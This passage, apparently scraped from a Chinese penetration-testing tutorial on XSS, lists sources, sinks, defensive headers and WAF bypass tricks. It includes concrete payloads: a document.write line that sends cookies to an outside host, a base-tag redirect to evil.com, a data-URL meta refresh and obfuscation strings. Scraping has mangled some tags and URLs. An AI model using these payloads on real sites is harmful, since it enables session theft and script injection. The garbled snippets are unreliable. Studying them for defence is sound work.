渗透测试XSS跨站攻击检测手法( 四 )


3.2.3.3.5. 其他

  • CND Bypass,如果网站信任了某个CDN, 那么可利用相应的CDN bypass
  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
  • jQuery sourcemap
  • document.write(`<> //@ sourceMappingURL=http://xxxx/`+document.cookie+`</>`);``
  • a标签的ping属性
  • For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
  • <link rel="import" />
  • <meta http-equiv="refresh" content="0; url=http://...." />
  • 当-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js
  • <base href=https://www.isolves.com/it/aq/fwq/2019-10-08/"http://evil.com/">
  • < nonce="correct value" src=https://www.isolves.com/it/aq/fwq/2019-10-08/"/main.js">
3.2.4. XSS数据源
3.2.4.1. URL
  • location
  • location.href
  • location.pathname
  • location.search
  • location.hash
  • document.URL
  • document.documentURI
  • document.baseURI
3.2.4.2. Navigation
  • window.name
  • document.referrer
3.2.4.3. Communication
  • Ajax
  • Fetch
  • WebSocket
  • PostMessage
3.2.4.4. Storage
  • Cookie
  • LocalStorage
  • SessionStorage
3.2.5. Sink
【渗透测试XSS跨站攻击检测手法】3.2.5.1. 执行Js
  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()
  • <>payload</>
  • <img src=https://www.isolves.com/it/aq/fwq/2019-10-08/x =payload>
3.2.5.2. 加载URL
  • location=java:alert(/xss/)
  • location.href=https://www.isolves.com/it/aq/fwq/2019-10-08/java:alert(/xss/)
  • location.assign(java:alert(/xss/))
  • location.replace(java:alert(/xss/))
3.2.5.3. 执行HTML
  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)
3.2.6. XSS保护
3.2.6.1. HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果 。例如DOMPurify等工具都是用该方式实现了XSS的保护 。
3.2.6.2. X-Frame
X-Frame-Options 响应头有三个可选的值:
  • DENY
  • 页面不能被嵌入到任何iframe或frame中
  • SAMEORIGIN
  • 页面只能被本站页面嵌入到iframe或者frame中
  • ALLOW-FROM
  • 页面允许frame或frame加载
3.2.6.3. XSS保护头
基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来 。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置 。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0: 表示关闭浏览器的XSS防护机制
1: 删除检测到的恶意代码,如果响应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
1; mode=block: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用No等相关插件 。
3.2.7. WAF Bypass
  • 利用<>标记
  • 利用html属性
  • href
  • lowsrc
  • bgsound
  • background
  • value
  • action
  • dynsrc
  • 关键字
  • 利用回车拆分
  • 字符串拼接(window["al" + "ert"])
  • 利用编码绕过
  • jsfuck
  • String.fromCharCode
  • HTML
  • URL
  • hex(window["\x61\x6c\x65\x72\x74"])
  • unicode
  • utf7(+ADw-+AD4-alert('XSS')+ADsAPA-/+AD4-)
  • utf16
  • 大小写混淆
  • 对标签属性值转码
  • 产生事件
  • css跨站解析
  • 长度限制bypass
  • eval(name)
  • eval(hash)
  • import
  • $.get
  • $.get
  • .
  • 使用。绕过IP/域名
  • document['cookie'] 绕过属性取值
  • 过滤引号用 “ ` “ 绕过
3.2.8.1. CSS 注入
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式 。
3.2.8.1.2. CSS selectors
利用CSS selectors完成攻击的一个示例
3.2.8.1.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集 。PoC如下


推荐阅读